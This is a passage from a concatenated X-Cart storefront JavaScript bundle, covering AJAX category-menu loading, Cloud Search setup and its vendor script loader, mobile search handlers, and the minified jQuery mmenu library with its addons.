{Element} elem 8997 * @param {string} [tag] Loader root tag. Default - 'LI'. 8998 */ 8999 this.setLoadingState = (elem, tag) => { 9000 if (!tag) { 9001 tag = 'LI'; 9002 } 9003 9004 const root = document.createElement(tag); 9005 root.className = 'top-menu__categories-item--loader'; 9006 9007 const waitBlockOverlay = document.createElement('DIV'); 9008 waitBlockOverlay.className = 'wait-block-overlay'; 9009 root.appendChild(waitBlockOverlay); 9010 9011 const waitBlock = document.createElement('DIV'); 9012 waitBlock.className = 'wait-block'; 9013 waitBlock.appendChild(document.createElement('DIV')); 9014 waitBlockOverlay.appendChild(waitBlock); 9015 9016 const loader = document.createElement('SPAN'); 9017 loader.className = 'flyout-menu-category-loader'; 9018 loader.innerHTML = 'Loading'; 9019 waitBlockOverlay.appendChild(loader); 9020 9021 elem.appendChild(root); 9022 }; 9023 9024 /** 9025 * Remove ajax category loader from a DOM element. 9026 * 9027 * @param {Element} elem 9028 */ 9029 this.unsetLoadingState = (elem) => { 9030 elem.querySelectorAll('.top-menu__categories-item--loader').forEach((loader) => { 9031 loader.parentNode.removeChild(loader); 9032 }); 9033 }; 9034 9035 /** 9036 * @param {number} categoryId 9037 * @param {number} depth 9038 * @param {string} mode 9039 * @param {function} callback 9040 */ 9041 this.loadSubcategories = (categoryId, depth, mode, callback) => { 9042 jQuery.ajax( 9043 getAjaxConfig(categoryId, depth, mode) 9044 ).done( 9045 /** 9046 * @param {string} data 9047 */ 9048 (data) => { 9049 callback(data); 9050 } 9051 ); 9052 }; 9053 9054 /** 9055 * @param {Element} elem 9056 * @param {string} [mode] 9057 */
9058 const initCommonHandler = (elem, mode = 'desktop') => { 9059 elem.addEventListener('click', () => { 9060 const item = elem.nextElementSibling; 9061 9062 if ( 9063 item 9064 && !item.querySelector( 9065 '.top-menu__categories-item-link, .top-menu__categories-item--loader, .mobile-menu__categories-item-link' 9066 ) 9067 ) { 9068 this.setLoadingState(item); 9069 9070 this.loadSubcategories( 9071 parseInt(elem.getAttribute('data-category-id')), 9072 parseInt(elem.getAttribute('data-category-level')), 9073 mode, 9074 (data) => { 9075 this.unsetLoadingState(item); 9076 elem.removeAttribute('data-ajax-category'); 9077 9078 xcart.createDOMTreeFromHTML(data).querySelectorAll( 9079 '.top-menu__categories-item:not(.top-menu__categories-item--back), ' + 9080 '.mobile-menu__categories-item:not(.mobile-menu__categories-item--back)' 9081 ).forEach(child => { 9082 item.appendChild(child); 9083 }); 9084 9085 if (mode === 'mobile') { 9086 MobileCatalog.getInstance().updateHandlers(); 9087 } else { 9088 TopMenu.getInstance().updateButtonHandlers(item); 9089 } 9090 9091 this.init(); 9092 } 9093 ); 9094 } 9095 }); 9096 9097 elem.setAttribute('data-ajax-category-handled', ''); 9098 }; 9099 9100 /** 9101 * @param {Element} elem 9102 */ 9103 const initMobileHandler = (elem) => { 9104 initCommonHandler(elem, 'mobile'); 9105 }; 9106 9107 this.init = () => { 9108 document.querySelectorAll( 9109 '.top-menu__categories-item-further[data-ajax-category]:not([data-ajax-category-handled])' 9110 ).forEach((btn) => { 9111 initCommonHandler(btn); 9112 }); 9113 9114 document.querySelectorAll( 9115 '.mobile_header .mobile-menu__categories-item-link[data-ajax-category]:not([data-ajax-category-handled])' 9116 ).forEach((btn) => { 9117 initMobileHandler(btn); 9118 }); 9119 }; 9120}; 9121 9122AjaxCategories.prototype.instance = null; 9123 9124AjaxCategories.getInstance = () => { 9125 if (!AjaxCategories.prototype.instance) { 9126 AjaxCategories.prototype.instance = new AjaxCategories(); 9127 AjaxCategories.prototype.instance.init(); 9128 } 9129 9130 return AjaxCategories.prototype.instance; 9131}; 9132 9133document.addEventListener('DOMContentLoaded', function () { 9134 AjaxCategories.getInstance(); 9135});; 9136/* AUTOGENERATED: init.js */ 9137/* vim: set ts=2 sw=2 sts=2 et: */ 9138 9139/** 9140 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9141 * See https://www.x-cart.com/license-agreement.html for license details. 9142 */ 9143 9144(function ($) { 9145 var body = $('body'), 9146 cloudSearchData = xcart.getCommentedData(body, 'cloudSearch') 9147 9148 window.Cloud_Search = { 9149 apiUrl: cloudSearchData.apiUrl, 9150 apiKey: cloudSearchData.apiKey, 9151 price_template: cloudSearchData.priceTemplate, 9152 selector: cloudSearchData.selector, 9153 lang: cloudSearchData.lng, 9154 EventHandlers: {OnPopupRender: []}, 9155 requestData: _.extend(cloudSearchData.requestData, document.documentElement.lang ? {lang: document.documentElement.lang} : {}), 9156 positionPopupAt: function (searchInput) { 9157 var elem = searchInput.closest('.simple-search-box') 9158 9159 return elem.length === 1 ? elem : searchInput 9160 }, 9161 pricesUrl: cloudSearchData.dynamicPricesEnabled 9162 ? URLHandler.buildURL({target: 'cloud_search_api', action: 'get_prices'}) 9163 : null 9164 } 9165})(jQuery);; 9166/* AUTOGENERATED: loader.js */ 9167/* vim: set ts=2 sw=2 sts=2 et: */ 9168 9169/** 9170 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9171 * See https://www.x-cart.com/license-agreement.html for license details. 9172 */ 9173 9174(function () { 9175 var cs = document.createElement('script') 9176 cs.type = 'text/javascript' 9177 cs.async = true 9178 cs.src = 'https://cstatic.x-cart.com/cloud_search_xcart_v2.js' 9179 9180 var s = document.getElementsByTagName('script')[0] 9181 s.parentNode.insertBefore(cs, s) 9182})();; 9183/* AUTOGENERATED: scripts.js */ 9184/* vim: set ts=2 sw=2 sts=2 et: */ 9185 9186/** 9187 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 9188 * See https://www.x-cart.com/license-agreement.html for license details. 9189 */ 9190 9191document.querySelectorAll('.simple-search__back').forEach(btn => { 9192 btn.addEventListener('click', () => { 9193 const csCancelButton = document.querySelector('.cloud-search-mobile__cancel'); 9194 9195 if (csCancelButton) { 9196 csCancelButton.click(); 9197 } 9198 9199 document.documentElement.classList.remove('cs-mobile-open'); 9200 document.documentElement.classList.remove('cloud-search-mobile-open'); 9201 document.querySelectorAll('.cloud-search-mobile__input-clear--visible').forEach(block => { 9202 block.classList.remove('cloud-search-mobile__input-clear--visible'); 9203 }); 9204 }); 9205}); 9206 9207xcart.microhandlers.add( 9208 'simple-search-add-html-class', 9209 '#search_menu', 9210 function () { 9211 this.addEventListener('click', () => { 9212 document.documentElement.classList.add('cs-mobile-open'); 9213 }); 9214 } 9215); 9216 9217const csMobilePanelObserver = new MutationObserver(() => { 9218 const csInput = document.querySelector('.cloud-search-mobile__input'); 9219 9220 if (csInput && !document.querySelector('.cloud-search-mobile__input-clear')) { 9221 let btn = document.createElement('BUTTON'); 9222 const csInputField = csInput.querySelector('input[type="search"]'); 9223 const csCancelButton = document.querySelector('.cloud-search-mobile__cancel'); 9224 const originalInputField = document.querySelector('#mobile_search input[name="substring"]'); 9225 const submitBtn = document.querySelector('#mobile_search .simple-search__submit'); 9226 9227 csInputField.addEventListener('input', () => { 9228 btn.classList.toggle('cloud-search-mobile__input-clear--visible', !!csInputField.value); 9229 }); 9230 9231 btn.setAttribute('class', 'cloud-search-mobile__input-clear'); 9232 btn.addEventListener('click', (e) => { 9233 btn.classList.remove('cloud-search-mobile__input-clear--visible'); 9234 9235 if (csCancelButton) { 9236 csCancelButton.click(); 9237 } 9238 9239 csInputField.value = ''; 9240 csInputField.focus(); 9241 e.preventDefault(); 9242 }); 9243 9244 if (originalInputField && submitBtn && csInputField) { 9245 submitBtn.addEventListener('click', () => { 9246 originalInputField.value = csInputField.value; 9247 }); 9248 9249 csInputField.addEventListener('keypress', e => { 9250 if (e.key === 'Enter' || e.code === 'Enter') { 9251 submitBtn.click(); 9252 e.stopPropagation(); 9253 e.stopImmediatePropagation(); 9254 e.preventDefault(); 9255 } 9256 }); 9257 } 9258 9259 const standardClearButton = document.querySelector('.simple-search__clear'); 9260 if (standardClearButton) { 9261 btn.innerHTML = standardClearButton.innerHTML; 9262 } 9263 9264 csInputField.parentNode.appendChild(btn); 9265 csMobilePanelObserver.disconnect(); 9266 } 9267}); 9268 9269csMobilePanelObserver.observe( 9270 document.querySelector('body'), 9271 { 9272 attributes: false, 9273 characterData: false, 9274 childList: true, 9275 subtree: true 9276 } 9277);; 9278/* AUTOGENERATED: jquery.mmenu.min.all.js */ 9279/* 9280 * jQuery mmenu v5.3.3 9281 * @requires jQuery 1.7.0 or later 9282 * 9283 * mmenu.frebsite.nl 9284 * 9285 * Copyright (c) Fred Heusschen 9286 * www.frebsite.nl 9287 * 9288 * Licensed under the MIT license: 9289 * http://en.wikipedia.org/wiki/MIT_License 9290 */ 9291!function(e){var t,n,s,a,i="mmenu";e[i]||(e[i]=function(e,t,n){this.$menu=e,this._api=["bind","init","update","setSelected","getInstance","openPanel","closePanel","closeAllPanels"],this.opts=t,this.conf=n,this.vars={},this.cbck={},"function"==typeof this.___deprecated&&this.___deprecated(),this._initMenu(),this._initAnchors();var s=this.$menu.children(this.conf.panelNodetype);return this._initAddons(),this.init(s),"function"==typeof this.___debug&&this.___debug(),this},e[i].version="5.3.3",e[i].addons={},e[i].uniqueId=0,e[i].defaults={extensions:[],navbar:{add:!0,title:"Menu",titleLink:"panel"},onClick:{setSelected:!0},slidingSubmenus:!0},e[i].configuration={classNames:{divider:"Divider",inset:"Inset",panel:"Panel",selected:"Selected",spacer:"Spacer",vertical:"Vertical"},clone:!1,openingInterval:25,panelNodetype:"ul, ol, div",transitionDuration:400},e[i].prototype={init:function(e){e=e.not("."+t.nopanel),e=this._initPanels(e),this.trigger("init",e),this.trigger("update")},update:function(){this.trigger("update")},setSelected:function(e){this.$menu.find("."+t.listview).children().removeClass(t.selected),e.addClass(t.selected),this.trigger("setSelected",e)},openPanel:function(e){var n=e.parent();if(n.hasClass(t.vertical)){var s=n.parents("."+t.subopened);
9291if(s.length)return this.openPanel(s.first());n.addClass(t.opened)}else{if(e.hasClass(t.current))return;var a=this.$menu.children("."+t.panel),i=a.filter("."+t.current);a.removeClass(t.highest).removeClass(t.current).not(e).not(i).not("."+t.vertical).addClass(t.hidden),e.hasClass(t.opened)?e.nextAll("."+t.opened).addClass(t.highest).removeClass(t.opened).removeClass(t.subopened):(e.addClass(t.highest),i.addClass(t.subopened)),e.removeClass(t.hidden).addClass(t.current),setTimeout(function(){e.removeClass(t.subopened).addClass(t.opened)},this.conf.openingInterval)}this.trigger("openPanel",e)},closePanel:function(e){var n=e.parent();n.hasClass(t.vertical)&&(n.removeClass(t.opened),this.trigger("closePanel",e))},closeAllPanels:function(){this.$menu.find("."+t.listview).children().removeClass(t.selected).filter("."+t.vertical).removeClass(t.opened);var e=this.$menu.children("."+t.panel).first();this.$menu.children("."+t.panel).not(e).removeClass(t.subopened).removeClass(t.opened).removeClass(t.current).removeClass(t.highest).addClass(t.hidden),this.openPanel(e)},togglePanel:function(e){var n=e.parent();n.hasClass(t.vertical)&&this[n.hasClass(t.opened)?"closePanel":"openPanel"](e)},getInstance:function(){return this},bind:function(e,t){this.cbck[e]=this.cbck[e]||[],this.cbck[e].push(t)},trigger:function(){var e=Array.prototype.slice.call(arguments),t=e.shift();if(this.cbck[t])for(var n=0,s=this.cbck[t].length;n<s;n++)this.cbck[t][n].apply(this,e)},_initMenu:function(){this.opts.offCanvas&&this.conf.clone&&(this.$menu=this.$menu.clone(!0),this.$menu.add(this.$menu.find("[id]")).filter("[id]").each(function(){e(this).attr("id",t.mm(e(this).attr("id")))})),this.$menu.contents().each(function(){3==e(this)[0].nodeType&&e(this).remove()}),this.$menu.parent().addClass(t.wrapper);var n=[t.menu];this.opts.slidingSubmenus||n.push(t.vertical),this.opts.extensions=this.opts.extensions.length?"mm-"+this.opts.extensions.join(" mm-"):"",this.opts.extensions&&n.push(this.opts.extensions),this.$menu.addClass(n.join(" "))},_initPanels:function(s){var a=this,i=this.__findAddBack(s,"ul, ol");this.__refactorClass(i,this.conf.classNames.inset,"inset").addClass(t.nolistview+" "+t.nopanel),i.not("."+t.nolistview).addClass(t.listview);var l=this.__findAddBack(s,"."+t.listview).children();this.__refactorClass(l,this.conf.classNames.selected,"selected"),this.__refactorClass(l,this.conf.classNames.divider,"divider"),this.__refactorClass(l,this.conf.classNames.spacer,"spacer"),this.__refactorClass(this.__findAddBack(s,"."+this.conf.classNames.panel),this.conf.classNames.panel,"panel");var r=e(),d=s.add(s.find("."+t.panel)).add(this.__findAddBack(s,"."+t.listview).children().children(this.conf.panelNodetype)).not("."+t.nopanel);this.__refactorClass(d,this.conf.classNames.vertical,"vertical"),this.opts.slidingSubmenus||d.addClass(t.vertical),d.each(function(){var n=e(this),s=n;n.is("ul, ol")?(n.wrap('<div class="'+t.panel+'" />'),s=n.parent()):s.addClass(t.panel);var i=n.attr("id");n.removeAttr("id"),s.attr("id",i||a.__getUniqueId()),n.hasClass(t.vertical)&&(n.removeClass(a.conf.classNames.vertical),s.add(s.parent()).addClass(t.vertical)),r=r.add(s)});var o=e("."+t.panel,this.$menu);r.each(function(s){var i=e(this),l=(o=i.parent()).children("a, span").first();if(o.is("."+t.menu)||(o.data(n.sub,i),i.data(n.parent,o)),!o.children("."+t.next).length&&o.parent().is("."+t.listview)){var r=i.attr("id"),d=e('<a class="'+t.next+'" href="#'+r+'" data-target="#'+r+'" />').insertBefore(l);l.is("span")&&d.addClass(t.fullsubopen)}if(!i.children("."+t.navbar).length&&!o.hasClass(t.vertical)){if(o.parent().is("."+t.listview))var o=o.closest("."+t.panel);else o=(l=o.closest("."+t.panel).find('a[href="#'+i.attr("id")+'"]').first()).closest("."+t.panel);var c=e('<div class="'+t.navbar+'" />');if(o.length){r=o.attr("id");switch(a.opts.navbar.titleLink){case"anchor":_url=l.attr("href");break;case"panel":case"parent":_url="#"+r;break;case"none":default:_url=!1}var h=document.createElement("a");h.className=t.title,h.textContent=l.text(),_url&&(h.href=_url),c.append('<a class="'+t.btn+" "+t.prev+'" href="#'+r+'" data-target="#'+r+'"></a>').append(h).prependTo(i),a.opts.navbar.add&&i.addClass(t.hasnavbar)}else a.opts.navbar.title&&(c.append('<a class="'+t.title+'">'+a.opts.navbar.title+"</a>").prependTo(i),a.opts.navbar.add&&i.addClass(t.hasnavbar))}});var c=this.__findAddBack(s,"."+t.listview).children("."+t.selected).removeClass(t.selected).last(
9291).addClass(t.selected);c.add(c.parentsUntil("."+t.menu,"li")).filter("."+t.vertical).addClass(t.opened).end().not("."+t.vertical).each(function(){e(this).parentsUntil("."+t.menu,"."+t.panel).not("."+t.vertical).first().addClass(t.opened).parentsUntil("."+t.menu,"."+t.panel).not("."+t.vertical).first().addClass(t.opened).addClass(t.subopened)}),c.children("."+t.panel).not("."+t.vertical).addClass(t.opened).parentsUntil("."+t.menu,"."+t.panel).not("."+t.vertical).first().addClass(t.opened).addClass(t.subopened);var h=o.filter("."+t.opened);return h.length||(h=r.first()),h.addClass(t.opened).last().addClass(t.current),r.not("."+t.vertical).not(h.last()).addClass(t.hidden).end().appendTo(this.$menu),r},_initAnchors:function(){var n=this;a.$body.on(s.click+"-oncanvas","a[href]",function(s){var l=e(this),r=!1,d=n.$menu.find(l).length;for(var o in e[i].addons)if(r=e[i].addons[o].clickAnchor.call(n,l,d))break;if(!r&&d){var c=l.attr("href");if(c.length>1&&"#"==c.slice(0,1))try{var h=e(c,n.$menu);h.is("."+t.panel)&&(r=!0,n[l.parent().hasClass(t.vertical)?"togglePanel":"openPanel"](h))}catch(e){}}if(r&&s.preventDefault(),!r&&d&&l.is("."+t.listview+" > li > a")&&!l.is('[rel="external"]')&&!l.is('[target="_blank"]')){n.__valueOrFn(n.opts.onClick.setSelected,l)&&n.setSelected(e(s.target).parent());var u=n.__valueOrFn(n.opts.onClick.preventDefault,l,"#"==c.slice(0,1));u&&s.preventDefault(),n.__valueOrFn(n.opts.onClick.blockUI,l,!u)&&a.$html.addClass(t.blocking),n.__valueOrFn(n.opts.onClick.close,l,u)&&n.close()}})},_initAddons:function(){for(var t in e[i].addons)e[i].addons[t].add.call(this),e[i].addons[t].add=function(){};for(var t in e[i].addons)e[i].addons[t].setup.call(this)},__api:function(){var t=this,n={};return e.each(this._api,function(e){var s=this;n[s]=function(){var e=t[s].apply(t,arguments);return void 0===e?n:e}}),n},__valueOrFn:function(e,t,n){return"function"==typeof e?e.call(t[0]):void 0===e&&void 0!==n?n:e},__refactorClass:function(e,n,s){return e.filter("."+n).removeClass(n).addClass(t[s])},__findAddBack:function(e,t){return e.find(t).add(e.filter(t))},__filterListItems:function(e){return e.not("."+t.divider).not("."+t.hidden)},__transitionend:function(e,t,n){var a=!1,i=function(){a||t.call(e[0]),a=!0};e.one(s.transitionend,i),e.one(s.webkitTransitionEnd,i),setTimeout(i,1.1*n)},__getUniqueId:function(){return t.mm(e[i].uniqueId++)}},e.fn[i]=function(l,r){return function(){if(e[i].glbl)return;a={$wndw:e(window),$html:e("html"),$body:e("body")},t={},n={},s={},e.each([t,n,s],function(e,t){t.add=function(e){e=e.split(" ");for(var n=0,s=e.length;n<s;n++)t[e[n]]=t.mm(e[n])}}),t.mm=function(e){return"mm-"+e},t.add("wrapper menu panel nopanel current highest opened subopened navbar hasnavbar title btn prev next listview nolistview inset vertical selected divider spacer hidden fullsubopen"),t.umm=function(e){return"mm-"==e.slice(0,3)&&(e=e.slice(3)),e},n.mm=function(e){return"mm-"+e},n.add("parent sub"),s.mm=function(e){return e+".mm"},s.add("transitionend webkitTransitionEnd mousedown mouseup touchstart touchmove touchend click keydown"),e[i]._c=t,e[i]._d=n,e[i]._e=s,e[i].glbl=a}(),l=e.extend(!0,{},e[i].defaults,l),r=e.extend(!0,{},e[i].configuration,r),this.each(function(){var t=e(this);if(!t.data(i)){var n=new e[i](t,l,r);t.data(i,n.__api())}})},e[i].support={touch:"ontouchstart"in window||navigator.msMaxTouchPoints})}(jQuery); 9292/* 9293 * jQuery mmenu offCanvas addon 9294 * mmenu.frebsite.nl 9295 * 9296 * Copyright (c) Fred Heusschen 9297 */ 9298!function(t){var e="mmenu",o="offCanvas";t[e].addons[o]={setup:function(){if(this.opts[o]){var n=this.opts[o],i=this.conf[o];a=t[e].glbl,this._api=t.merge(this._api,["open","close","setPage"]),("top"==n.position||"bottom"==n.position)&&(n.zposition="front"),"string"!=typeof i.pageSelector&&(i.pageSelector="> "+i.pageNodetype),a.$allMenus=(a.$allMenus||t()).add(this.$menu),this.vars.opened=!1;var r=[s.offcanvas];"left"!=n.position&&r.push(s.mm(n.position)),"back"!=n.zposition&&r.push(s.mm(n.zposition)),this.$menu.addClass(r.join(" ")).parent().removeClass(s.wrapper),this.setPage(a.$page),this._initBlocker(),this["_initWindow_"+o](),this.$menu[i.menuInjectMethod+"To"](i.menuWrapperSelector)}},add:function(){s=t[e]._c,n=t[e]._d,i=t[e]._e,s.add("offcanvas slideout modal background opening blocker page"),n.add("style"),i.add("resize")},clickAnchor:function(t){if(!this.opts[o])return!1;var e=this.$menu.attr("id");if(e&&e.length&&(this.conf.clone&&(e=s.umm(e)),t.is('[href="#'+e+'"]')))return this.open(),!0;if(a.$page){var e=a.$page.first().attr("id");return e&&e.length&&t.is('[href="#'+e+'"]')?(this.close(),!0):!1}}},t[e].defaults[o]={position:"left",zposition:"back",modal:!1,moveBackgroun
9298d:!0},t[e].configuration[o]={pageNodetype:"div",pageSelector:null,wrapPageIfNeeded:!0,menuWrapperSelector:"body",menuInjectMethod:"prepend"},t[e].prototype.open=function(){if(!this.vars.opened){var t=this;this._openSetup(),setTimeout(function(){t._openFinish()},this.conf.openingInterval),this.trigger("open")}},t[e].prototype._openSetup=function(){var e=this;this.closeAllOthers(),a.$page.each(function(){t(this).data(n.style,t(this).attr("style")||"")}),a.$wndw.trigger(i.resize+"-offcanvas",[!0]);var r=[s.opened];this.opts[o].modal&&r.push(s.modal),this.opts[o].moveBackground&&r.push(s.background),"left"!=this.opts[o].position&&r.push(s.mm(this.opts[o].position)),"back"!=this.opts[o].zposition&&r.push(s.mm(this.opts[o].zposition)),this.opts.extensions&&r.push(this.opts.extensions),a.$html.addClass(r.join(" ")),setTimeout(function(){e.vars.opened=!0},this.conf.openingInterval),this.$menu.addClass(s.current+" "+s.opened)},t[e].prototype._openFinish=function(){var t=this;this.__transitionend(a.$page.first(),function(){t.trigger("opened")},this.conf.transitionDuration),a.$html.addClass(s.opening),this.trigger("opening")},t[e].prototype.close=function(){if(this.vars.opened){var e=this;this.__transitionend(a.$page.first(),function(){e.$menu.removeClass(s.current).removeClass(s.opened),a.$html.removeClass(s.opened).removeClass(s.modal).removeClass(s.background).removeClass(s.mm(e.opts[o].position)).removeClass(s.mm(e.opts[o].zposition)),e.opts.extensions&&a.$html.removeClass(e.opts.extensions),a.$page.each(function(){t(this).attr("style",t(this).data(n.style))}),e.vars.opened=!1,e.trigger("closed")},this.conf.transitionDuration),a.$html.removeClass(s.opening),this.trigger("close"),this.trigger("closing")}},t[e].prototype.closeAllOthers=function(){a.$allMenus.not(this.$menu).each(function(){var o=t(this).data(e);o&&o.close&&o.close()})},t[e].prototype.setPage=function(e){var n=this,i=this.conf[o];e&&e.length||(e=a.$body.find(i.pageSelector),e.length>1&&i.wrapPageIfNeeded&&(e=e.wrapAll("<"+this.conf[o].pageNodetype+" />").parent())),e.each(function(){t(this).attr("id",t(this).attr("id")||n.__getUniqueId())}),e.addClass(s.page+" "+s.slideout),a.$page=e,this.trigger("setPage",e)},t[e].prototype["_initWindow_"+o]=function(){a.$wndw.off(i.keydown+"-offcanvas").on(i.keydown+"-offcanvas",function(t){return a.$html.hasClass(s.opened)&&9==t.keyCode?(t.preventDefault(),!1):void 0});var t=0;a.$wndw.off(i.resize+"-offcanvas").on(i.resize+"-offcanvas",function(e,o){if(1==a.$page.length&&(o||a.$html.hasClass(s.opened))){var n=a.$wndw.height();(o||n!=t)&&(t=n,a.$page.css("minHeight",n))}})},t[e].prototype._initBlocker=function(){var e=this;a.$blck||(a.$blck=t('<div id="'+s.blocker+'" class="'+s.slideout+'" />')),a.$blck.appendTo(a.$body).off(i.touchstart+"-offcanvas "+i.touchmove+"-offcanvas").on(i.touchstart+"-offcanvas "+i.touchmove+"-offcanvas",function(t){t.preventDefault(),t.stopPropagation(),a.$blck.trigger(i.mousedown+"-offcanvas")}).off(i.mousedown+"-offcanvas").on(i.mousedown+"-offcanvas",function(t){t.preventDefault(),a.$html.hasClass(s.modal)||(e.closeAllOthers(),e.close())})};var s,n,i,a}(jQuery); 9299/* 9300 * jQuery mmenu autoHeight addon 9301 * mmenu.frebsite.nl 9302 * 9303 * Copyright (c) Fred Heusschen 9304 */ 9305!function(t){var e="mmenu",i="autoHeight";t[e].addons[i]={setup:function(){if(this.opts.offCanvas){switch(this.opts.offCanvas.position){case"left":case"right":return}var n=this,o=this.opts[i];if(this.conf[i],h=t[e].glbl,"boolean"==typeof o&&o&&(o={height:"auto"}),"object"!=typeof o&&(o={}),o=this.opts[i]=t.extend(!0,{},t[e].defaults[i],o),"auto"==o.height){this.$menu.addClass(s.autoheight);var u=function(t){var e=this.$menu.children("."+s.current);_top=parseInt(e.css("top"),10)||0,_bot=parseInt(e.css("bottom"),10)||0,this.$menu.addClass(s.measureheight),t=t||this.$menu.children("."+s.current),t.is("."+s.vertical)&&(t=t.parents("."+s.panel).not("."+s.vertical).first()),this.$menu.height(t.outerHeight()+_top+_bot).removeClass(s.measureheight)};this.bind("update",u),this.bind("openPanel",u),this.bind("closePanel",u),this.bind("open",u),h.$wndw.off(a.resize+"-autoheight").on(a.resize+"-autoheight",function(){u.call(n)})}}},add:function(){s=t[e]._c,n=t[e]._d,a=t[e]._e,s.add("autoheight measureheight"),a.add("resize")},clickAnchor:function(){}},t[e].defaults[i]={height:"default"};var s,n,a,h}(jQuery); 9306/* 9307 * jQuery mmenu backButton addon 9308 * mmenu.frebsite.nl 9309 * 9310 * Copyright (c) Fred Heusschen 9311 */ 9312!function(o){var t="mmenu",n="backButton";o[t].addons[n]={setup:function(){if(this.opts.offCanvas){var i=this,e=this.opts[n];if(this.conf[n],a=o[t].glbl,"boolean"==typeof e&&(e={close:e}),"object"!=typeof e&&(e={}),e=o.extend(!0,{},o[t].defaults[n],e),e.close){var c="#"+i.$menu.attr("id");this.bind("opened",function(){location.hash!=c&&history.pushState(null,document.title,c)}),o(window).on("popstate",function(o){a.$html.hasClass(s.opened)?(o.stopPropagation(),i.close()):location.hash==c&&(o.stopPropagation(),i.open())})}}},add:function(){return window.history&&window.history.pushState?(s=o[t]._c,i=o[t]._d,e=o[t]._e,void 0):(o[t].addons[n].setup=function(){},void 0)},clickAnchor:function(){}},o[t].defaults[n]={close:!1};var s,i,e,a}(jQuery); 9313/* 9314 * jQuery mmenu counters addon 9315 * mmenu.frebsite.nl 9316 * 9317 * Copyright (c) Fred Heusschen 9318 */ 9319!function(t){var n="mmenu",e="counters";t[n].addons[e]={setup:function(){var c=this,o=this.opts[e];this.conf[e],s=t[n].glbl,"boolean"==typeof o&&(o={add:o,update:o}),"object"!=typeof o&&(o={}),o=this.opts[e]=t.extend(!0,{},t[n].defaults[e],o),this.bind("init",function(n){this.__refactorClass(t("em",n),this.conf.classNames[e].counter,"counter")}),o.add&&this.bind("init",function(n){n.each(function(){var n=t(this).data(a.parent);
9319n&&(n.children("em."+i.counter).length||n.prepend(t('<em class="'+i.counter+'" />')))})}),o.update&&this.bind("update",function(){this.$menu.find("."+i.panel).each(function(){var n=t(this),e=n.data(a.parent);if(e){var s=e.children("em."+i.counter);s.length&&(n=n.children("."+i.listview),n.length&&s.html(c.__filterListItems(n.children()).length))}})})},add:function(){i=t[n]._c,a=t[n]._d,c=t[n]._e,i.add("counter search noresultsmsg")},clickAnchor:function(){}},t[n].defaults[e]={add:!1,update:!1},t[n].configuration.classNames[e]={counter:"Counter"};var i,a,c,s}(jQuery); 9320/* 9321 * jQuery mmenu dividers addon 9322 * mmenu.frebsite.nl 9323 * 9324 * Copyright (c) Fred Heusschen 9325 */ 9326!function(i){var e="mmenu",s="dividers";i[e].addons[s]={setup:function(){var n=this,a=this.opts[s];if(this.conf[s],l=i[e].glbl,"boolean"==typeof a&&(a={add:a,fixed:a}),"object"!=typeof a&&(a={}),a=this.opts[s]=i.extend(!0,{},i[e].defaults[s],a),this.bind("init",function(){this.__refactorClass(i("li",this.$menu),this.conf.classNames[s].collapsed,"collapsed")}),a.add&&this.bind("init",function(e){switch(a.addTo){case"panels":var s=e;break;default:var s=i(a.addTo,this.$menu).filter("."+d.panel)}i("."+d.divider,s).remove(),s.find("."+d.listview).not("."+d.vertical).each(function(){var e="";n.__filterListItems(i(this).children()).each(function(){var s=i.trim(i(this).children("a, span").text()).slice(0,1).toLowerCase();s!=e&&s.length&&(e=s,i('<li class="'+d.divider+'">'+s+"</li>").insertBefore(this))})})}),a.collapse&&this.bind("init",function(e){i("."+d.divider,e).each(function(){var e=i(this),s=e.nextUntil("."+d.divider,"."+d.collapsed);s.length&&(e.children("."+d.subopen).length||(e.wrapInner("<span />"),e.prepend('<a href="#" class="'+d.subopen+" "+d.fullsubopen+'" />')))})}),a.fixed){var o=function(e){e=e||this.$menu.children("."+d.current);var s=e.find("."+d.divider).not("."+d.hidden);if(s.length){this.$menu.addClass(d.hasdividers);var n=e.scrollTop()||0,t="";e.is(":visible")&&e.find("."+d.divider).not("."+d.hidden).each(function(){i(this).position().top+n<n+1&&(t=i(this).text())}),this.$fixeddivider.text(t)}else this.$menu.removeClass(d.hasdividers)};this.$fixeddivider=i('<ul class="'+d.listview+" "+d.fixeddivider+'"><li class="'+d.divider+'"></li></ul>').prependTo(this.$menu).children(),this.bind("openPanel",o),this.bind("init",function(e){e.off(t.scroll+"-dividers "+t.touchmove+"-dividers").on(t.scroll+"-dividers "+t.touchmove+"-dividers",function(){o.call(n,i(this))})})}},add:function(){d=i[e]._c,n=i[e]._d,t=i[e]._e,d.add("collapsed uncollapsed fixeddivider hasdividers"),t.add("scroll")},clickAnchor:function(i,e){if(this.opts[s].collapse&&e){var n=i.parent();if(n.is("."+d.divider)){var t=n.nextUntil("."+d.divider,"."+d.collapsed);return n.toggleClass(d.opened),t[n.hasClass(d.opened)?"addClass":"removeClass"](d.uncollapsed),!0}}return!1}},i[e].defaults[s]={add:!1,addTo:"panels",fixed:!1,collapse:!1},i[e].configuration.classNames[s]={collapsed:"Collapsed"};var d,n,t,l}(jQuery); 9327/* 9328 * jQuery mmenu dragOpen addon 9329 * mmenu.frebsite.nl 9330 * 9331 * Copyright (c) Fred Heusschen 9332 */ 9333!function(e){function t(e,t,n){return t>e&&(e=t),e>n&&(e=n),e}var n="mmenu",o="dragOpen";e[n].addons[o]={setup:function(){if(this.opts.offCanvas){var i=this,a=this.opts[o],p=this.conf[o];if(r=e[n].glbl,"boolean"==typeof a&&(a={open:a}),"object"!=typeof a&&(a={}),a=this.opts[o]=e.extend(!0,{},e[n].defaults[o],a),a.open){var d,f,c,u,h,l={},m=0,g=!1,v=!1,w=0,_=0;switch(this.opts.offCanvas.position){case"left":case"right":l.events="panleft panright",l.typeLower="x",l.typeUpper="X",v="width";break;case"top":case"bottom":l.events="panup pandown",l.typeLower="y",l.typeUpper="Y",v="height"}switch(this.opts.offCanvas.position){case"right":case"bottom":l.negative=!0,u=function(e){e>=r.$wndw[v]()-a.maxStartPos&&(m=1)};break;default:l.negative=!1,u=function(e){e<=a.maxStartPos&&(m=1)}}switch(this.opts.offCanvas.position){case"left":l.open_dir="right",l.close_dir="left";break;case"right":l.open_dir="left",l.close_dir="right";break;case"top":l.open_dir="down",l.close_dir="up";break;case"bottom":l.open_dir="up",l.close_dir="down"}switch(this.opts.offCanvas.zposition){case"front":h=function(){return this.$menu};break;default:h=function(){return e("."+s.slideout)}}var b=this.__valueOrFn(a.pageNode,this.$menu,r.$page);"string"==typeof b&&(b=e(b));var y=new 